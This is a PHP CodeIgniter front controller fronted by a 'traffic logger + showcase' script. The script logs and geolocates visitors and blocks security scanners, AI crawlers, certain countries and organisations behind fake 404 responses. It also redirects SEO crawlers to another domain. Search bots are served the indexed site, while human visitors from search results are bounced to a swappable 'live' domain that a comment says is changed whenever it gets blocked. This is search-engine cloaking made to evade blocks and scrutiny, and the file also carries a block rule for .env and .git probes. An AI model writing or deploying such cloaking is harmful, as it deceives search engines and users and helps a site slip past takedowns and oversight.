<?php
/**
 * ===== TRAFFIC LOGGER + SHOWCASE + ADVANCED PROTECTION =====
 * Версия: 2.4 (Исправлен CodeIgniter для поисковых ботов)
 */

$_log_dir = __DIR__ . "/logs/";
if (!is_dir($_log_dir)) mkdir($_log_dir, 0755, true);

$_live_domain = 'profdoks.site';  // <-- ЕДИНСТВЕННАЯ СТРОКА КОТОРАЯ МЕНЯЕТСЯ ПРИ БЛОКЕ LIVE

// --- ОПРЕДЕЛЕНИЕ IP АДРЕСА ---
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && !empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_ip = trim(explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0]);
} elseif (isset($_SERVER['HTTP_CLIENT_IP']) && !empty($_SERVER['HTTP_CLIENT_IP'])) {
    $_ip = trim(explode(',', $_SERVER['HTTP_CLIENT_IP'])[0]);
} elseif (isset($_SERVER['HTTP_X_REAL_IP']) && !empty($_SERVER['HTTP_X_REAL_IP'])) {
    $_ip = trim(explode(',', $_SERVER['HTTP_X_REAL_IP'])[0]);
} else {
    $_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '-';
}

$_ua         = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '-';
$_ref        = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '-';
$_time       = date('Y-m-d H:i:s');
$_requested  = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
$_forwarded  = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : '-';
$_lang       = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '-';
$_connection = isset($_SERVER['HTTP_CONNECTION']) ? $_SERVER['HTTP_CONNECTION'] : '-';

// ===== БЕЛЫЙ СПИСОК IP =====
$_whitelist_ips = array(
    '194.85.251.241',
    '89.125.62.95',
);

// Пропускаем статику — для статики CodeIgniter запустится сразу ниже
$_is_static = (bool)preg_match('/\.(css|js|png|jpg|gif|ico|woff|svg|xml|txt)$/i', $_requested);

if (!$_is_static) {

    // ===== ОПРЕДЕЛЯЕМ ПОИСКОВОГО БОТА =====
    $_is_search_bot = false;

    // По UA
    if (stripos($_ua, 'YandexBot') !== false ||
        stripos($_ua, 'Yandex') !== false ||
        stripos($_ua, 'Googlebot') !== false ||
        stripos($_ua, 'bingbot') !== false ||
        stripos($_ua, 'Mail.RU_Bot') !== false ||
        stripos($_ua, 'DuckDuckBot') !== false) {
        $_is_search_bot = true;
    }

    // По IP-диапазонам (только если ещё не определён)
    if (!$_is_search_bot) {
        $_bot_ranges = array(
            '66.249.', '64.233.', '72.14.', '216.239.', '173.194.', '209.85.', '35.191.',
            '5.255.', '87.250.', '95.108.', '213.180.', '141.8.', '77.88.', '93.158.', '178.154.',
            '40.77.', '207.46.', '157.55.', '52.167.', '40.76.', '13.107.',
            '94.100.176.', '94.100.177.', '94.100.178.', '94.100.179.',
        );
        foreach ($_bot_ranges as $_range) {
            if (strpos($_ip, $_range) === 0) {
                $_is_search_bot = true;
                break;
            }
        }
    }

    // --- ОТЛАДОЧНОЕ ЛОГИРОВАНИЕ YANDEXBOT ---
    if (stripos($_ua, 'YandexBot') !== false || stripos($_ua, 'Yandex') !== false) {
        $headers = "";
        foreach ($_SERVER as $name => $value) {
            if (substr($name, 0, 5) == 'HTTP_') {
                $headers .= str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) . ": " . $value . "\n";
            }
        }
        $headers .= "REMOTE_ADDR: " . $_SERVER['REMOTE_ADDR'] . "\n";
        $headers .= "HTTP_X_FORWARDED_FOR: " . (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : 'N/A') . "\n";
        $headers .= "_ip: " . $_ip . "\n";
        $headers .= "_is_search_bot: " . ($_is_search_bot ? 'TRUE' : 'FALSE') . "\n";
        file_put_contents($_log_dir . 'yandex_headers.log', "[{$_time}] Requested: {$_requested}\n" . $headers . "\n---\n", FILE_APPEND | LOCK_EX);
    }

    // Геолокация
    $_geo_data = @file_get_contents("http://ip-api.com/json/{$_ip}?fields=country,city,org");
    $_geo      = $_geo_data ? json_decode($_geo_data, true) : array();
    $_country  = isset($_geo['country']) ? $_geo['country'] : '-';
    $_city     = isset($_geo['city']) ? $_geo['city'] : '-';
    $_org      = isset($_geo['org']) ? $_geo['org'] : '-';

    $_log_line = "[{$_time}] IP: {$_ip} | RealIP: {$_forwarded} | Страна: {$_country} | Город: {$_city} | Орг: {$_org} | UA: {$_ua} | Ref: {$_ref} | URL: {$_requested} | Lang: {$_lang} | Conn: {$_connection}\n";

    // ===== БЕЛЫЙ СПИСОК — пропускаем к логированию =====
    $_in_whitelist = in_array($_ip, $_whitelist_ips);

    if (!$_in_whitelist) {

        // WordPress атаки
        if (preg_match('/(wp-admin|xmlrpc|wp-json|wordpress)/i', $_requested)) {
            file_put_contents($_log_dir . 'blocked.log', $_log_line, FILE_APPEND | LOCK_EX);
            http_response_code(404);
            exit;
        }

        // Защита служебных файлов
        if (preg_match('/\.(env|git|htpasswd|config)$/i', $_requested)) {
            file_put_contents($_log_dir . 'blocked.log', $_log_line, FILE_APPEND | LOCK_EX);
            http_response_code(404);
            exit;
        }

        // Блокировка по IP
        $_blocked_ips = array(
            '144.76.19.70',    // SERankingBot
            '144.76.19.24',    // SERankingBacklinksBot
            '58.187.92.169',   // Jetpack Vietnam
            '77.237.231.173',  // Tesonet
            '77.237.231.180',  // Tesonet
            '31.220.46.155',   // Tesonet
            '204.168.251.246', // Hetzner сканер
            '192.36.109.89',   // конкурент
            '34.148.156.42',   // сканер конкурента
            '212.47.78.121',   // Go сканер
            '111.119.247.107', // Singapore подозрительный
            '124.156.117.72',  // Hong Kong подозрительный
            '159.138.31.147',  // Tencent Cloud
            '74.7.242.33',     // Aceville
            '74.7.242.6',      // GPTBot OpenAI
            '57.141.20.37',    // Meta-externalagent
            '43.159.38.134',   // сканер
            '43.173.72.66',    // сканер
            '64.62.156.202',   // Shadow Server Foundation
            '64.62.156.208',   // Shadow Server Foundation
            '147.224.137.108', // Oracle сканер
        );
        if (in_array($_ip, $_blocked_ips)) {
            file_put_contents($_log_dir . 'blocked.log', $_log_line, FILE_APPEND | LOCK_EX);
            http_response_code(404);
            exit;
        }

        // Блокировка по организации
        $_blocked_orgs = array(
            'Alibaba',
            'TIMEWEB',
            'Tesonet',
            'NPF TEM',
            'Aceville',
            'Vietnam Posts',
            'VietNam Post',
            'Vietnam Datacommunications',
            'Hanoi Post',
            'Tencent',
            'Huawei',
            'Shanghai',
            'Selectel',
            'Cloudflare WARP',
            'Shadow Server',
            'Techoff',
            'MASSIVEGRID',
            'Oracle Corporation',
        );
        foreach ($_blocked_orgs as $_bad_org) {
            if (stripos($_org, $_bad_org) !== false) {
                file_put_contents($_log_dir . 'blocked.log', $_log_line, FILE_APPEND | LOCK_EX);
                http_response_code(404);
                exit;
            }
        }

        // Блокировка по стране
        $_blocked_countries = array(
            'Singapore',
            'Vietnam',
            'China',
            'Hong Kong',
            'Bangladesh',
            'Pakistan',
            'Iraq',
            'Venezuela',
        );
        foreach ($_blocked_countries as $_bad_country) {
            if (stripos($_country, $_bad_country) !== false) {
                file_put_contents($_log_dir . 'blocked.log', $_log_line, FILE_APPEND | LOCK_EX);
                http_response_code(404);
                exit;
            }
        }

        // Блокировка Москвы (не для поисковых ботов)
        if (stripos($_city, 'Moscow') !== false && !$_is_search_bot) {
            file_put_contents($_log_dir . 'blocked.log', $_log_line, FILE_APPEND | LOCK_EX);
            http_response_code(404);
            exit;
        }

        // Вредоносные по UA
        $_blocked_ua = array(
            'GPTBot',
            'HeadlessChrome',
            'Jetpack',
            'Google-InspectionTool',
            'CCleaner',
            'SERankingBacklinksBot',
            'SERankingBot',
            'Go-http-client',
            'CMS-Checker',
            'python-requests',
            'meta-externalagent',
            'ChatGPT-User',
            'CensysInspect',
            'DotBot',
            'MJ12bot',
        );
        foreach ($_blocked_ua as $_bad_ua) {
            if (stripos($_ua, $_bad_ua) !== false) {
                file_put_contents($_log_dir . 'blocked.log', $_log_line, FILE_APPEND | LOCK_EX);
                http_response_code(404);
                exit;
            }
        }

        // Azure с пустым UA
        if (stripos($_org, 'Microsoft Azure') !== false && ($_ua === '-' || empty($_ua))) {
            file_put_contents($_log_dir . 'blocked.log', $_log_line, FILE_APPEND | LOCK_EX);
            http_response_code(404);
            exit;
        }

        // Китайские боты по языку
        if (stripos($_lang, 'zh-CN') !== false && (empty($_ref) || $_ref === '-')) {
            file_put_contents($_log_dir . 'blocked.log', $_log_line, FILE_APPEND | LOCK_EX);
            http_response_code(404);
            exit;
        }

        // ===== REDIRECT SEO-БОТОВ =====
        $_redirect_ua = array(
            'Amazonbot',
            'Bytespider',
            'TikTokSpider',
            'Applebot',
            'PetalBot',
            'AhrefsBot',
            'SemrushBot',
            'BacklinksExtendedBot',
            'CCBot',
            'GoogleOther',
            'BuiltWith',
        );
        foreach ($_redirect_ua as $_redir_ua) {
            if (stripos($_ua, $_redir_ua) !== false) {
                file_put_contents($_log_dir . 'redirected.log', $_log_line, FILE_APPEND | LOCK_EX);
                header('Location: https://tmt24.site' . $_requested, true, 301);
                exit;
            }
        }

    } // конец if (!$_in_whitelist)

    // ===== ЛОГИРОВАНИЕ =====
    if (stripos($_ua, 'Googlebot') !== false) {
        file_put_contents($_log_dir . 'google_bot.log', $_log_line, FILE_APPEND | LOCK_EX);
    }
    elseif (stripos($_ua, 'bingbot') !== false) {
        file_put_contents($_log_dir . 'bing_bot.log', $_log_line, FILE_APPEND | LOCK_EX);
    }
    elseif (stripos($_ua, 'YandexBot') !== false || stripos($_ua, 'Yandex') !== false) {
        file_put_contents($_log_dir . 'yandex_bot.log', $_log_line, FILE_APPEND | LOCK_EX);
    }
    elseif (stripos($_org, 'Google Chrome Prefetch Proxy') !== false) {
        file_put_contents($_log_dir . 'google_prefetch.log', $_log_line, FILE_APPEND | LOCK_EX);
    }
    elseif (stripos($_ref, 'yandex.') !== false) {
        file_put_contents($_log_dir . 'yandex_users.log', $_log_line, FILE_APPEND | LOCK_EX);
    }
    elseif (stripos($_ref, 'google.') !== false) {
        file_put_contents($_log_dir . 'google_users.log', $_log_line, FILE_APPEND | LOCK_EX);
    }
    elseif (empty($_ref) || $_ref === '-') {
        file_put_contents($_log_dir . 'direct.log', $_log_line, FILE_APPEND | LOCK_EX);
    }
    else {
        file_put_contents($_log_dir . 'other.log', $_log_line, FILE_APPEND | LOCK_EX);
    }

    // ===== SHOWCASE REDIRECT — только для не-ботов =====
    if (!$_is_search_bot) {

        $_from_search = false;
        if (stripos($_ref, 'google.') !== false ||
            stripos($_ref, 'yandex.') !== false ||
            stripos($_ref, 'bing.') !== false ||
            stripos($_ref, 'mail.ru') !== false ||
            stripos($_ref, 'rambler.') !== false ||
            stripos($_ref, 'duckduckgo.') !== false) {
            $_from_search = true;
        }

        if ($_from_search) {
            $_new_url = 'https://' . $_live_domain . htmlspecialchars($_requested, ENT_QUOTES, 'UTF-8');
            ?><!DOCTYPE html>
<html lang="ru">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Учебный центр</title>
    <meta http-equiv="refresh" content="0; url=<?= $_new_url ?>">
    <style>
        body{font-family:Arial,sans-serif;text-align:center;padding:50px 20px;background:#f5f5f5;margin:0}
        .container{max-width:600px;margin:0 auto;background:white;padding:40px;border-radius:8px;box-shadow:0 2px 10px rgba(0,0,0,0.1)}
        h1{color:#333;margin-bottom:20px}p{color:#666;line-height:1.6}
        .loader{border:4px solid #f3f3f3;border-top:4px solid #3498db;border-radius:50%;width:40px;height:40px;animation:spin 1s linear infinite;margin:20px auto}
        @keyframes spin{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}
    </style>
    <script>window.location.replace("<?= $_new_url ?>");</script>
</head>
<body>
<div class="container">
    <h1>Учебный центр</h1>
    <div class="loader"></div>
    <p>Загрузка сайта...</p>
    <noscript><p>Перейдите по ссылке: <a href="<?= $_new_url ?>"><?= $_new_url ?></a></p></noscript>
</div>
</body>
</html>
            <?php
            exit;
        } else {
            ?><!DOCTYPE html>
<html lang="ru">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Учебный центр</title>
    <style>
        body{font-family:Arial,sans-serif;text-align:center;padding:50px 20px;background:#f5f5f5;margin:0}
        .container{max-width:600px;margin:0 auto;background:white;padding:40px;border-radius:8px;box-shadow:0 2px 10px rgba(0,0,0,0.1)}
        h1{color:#333;margin-bottom:20px}p{color:#666;line-height:1.6}
        .loader{border:4px solid #f3f3f3;border-top:4px solid #3498db;border-radius:50%;width:40px;height:40px;animation:spin 1s linear infinite;margin:20px auto}
        @keyframes spin{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}
    </style>
</head>
<body>
<div class="container">
    <h1>Учебный центр</h1>
    <div class="loader"></div>
    <p>Загрузка...</p>
</div>
</body>
</html>
            <?php
            exit;
        }
    }

    // Если дошли сюда — $_is_search_bot == true
    // Поисковый бот продолжает в CodeIgniter ниже

} // конец if (!$_is_static)

// ===== CODEIGNITER — запускается для поисковых ботов и статики =====

define('ENVIRONMENT', isset($_SERVER['CI_ENV']) ? $_SERVER['CI_ENV'] : 'production');

switch (ENVIRONMENT)
{
    case 'development':
        error_reporting(-1);
        ini_set('display_errors', 1);
    break;

    case 'testing':
    case 'production':
        ini_set('display_errors', 0);
        if (version_compare(PHP_VERSION, '5.3', '>='))
        {
            error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_STRICT & ~E_USER_NOTICE & ~E_USER_DEPRECATED);
        }
        else
        {
            error_reporting(E_ALL & ~E_NOTICE & ~E_STRICT & ~E_USER_NOTICE);
        }
    break;

    default:
        header('HTTP/1.1 503 Service Unavailable.', TRUE, 503);
        echo 'The application environment is not set correctly.';
        exit(1);
}

$system_path = 'system';
$application_folder = 'application';
$view_folder = '';

if (defined('STDIN'))
{
    chdir(dirname(__FILE__));
}

if (($_temp = realpath($system_path)) !== FALSE)
{
    $system_path = $_temp.'/';
}
else
{
    $system_path = rtrim($system_path, '/').'/';
}

if ( ! is_dir($system_path))
{
    header('HTTP/1.1 503 Service Unavailable.', TRUE, 503);
    echo 'Your system folder path does not appear to be set correctly. Please open the following file and correct this: '.pathinfo(__FILE__, PATHINFO_BASENAME);
    exit(3);
}

define('SELF', pathinfo(__FILE__, PATHINFO_BASENAME));
define('BASEPATH', str_replace('\\', '/', $system_path));
define('FCPATH', dirname(__FILE__).'/');
define('SYSDIR', trim(strrchr(trim(BASEPATH, '/'), '/'), '/'));

if (is_dir($application_folder))
{
    if (($_temp = realpath($application_folder)) !== FALSE)
    {
        $application_folder = $_temp;
    }
    define('APPPATH', $application_folder.DIRECTORY_SEPARATOR);
}
else
{
    if ( ! is_dir(BASEPATH.$application_folder.DIRECTORY_SEPARATOR))
    {
        header('HTTP/1.1 503 Service Unavailable.', TRUE, 503);
        echo 'Your application folder path does not appear to be set correctly. Please open the following file and correct this: '.SELF;
        exit(3);
    }
    define('APPPATH', BASEPATH.$application_folder.DIRECTORY_SEPARATOR);
}

if ( ! is_dir($view_folder))
{
    if ( ! empty($view_folder) && is_dir(APPPATH.$view_folder.DIRECTORY_SEPARATOR))
    {
        $view_folder = APPPATH.$view_folder;
    }
    elseif ( ! is_dir(APPPATH.'views'.DIRECTORY_SEPARATOR))
    {
        header('HTTP/1.1 503 Service Unavailable.', TRUE, 503);
        echo 'Your view folder path does not appear to be set correctly. Please open the following file and correct this: '.SELF;
        exit(3);
    }
    else
    {
        $view_folder = APPPATH.'views';
    }
}

if (($_temp = realpath($view_folder)) !== FALSE)
{
    $view_folder = $_temp.DIRECTORY_SEPARATOR;
}
else
{
    $view_folder = rtrim($view_folder, '/\\').DIRECTORY_SEPARATOR;
}

define('VIEWPATH', $view_folder);

require_once BASEPATH.'core/CodeIgniter.php';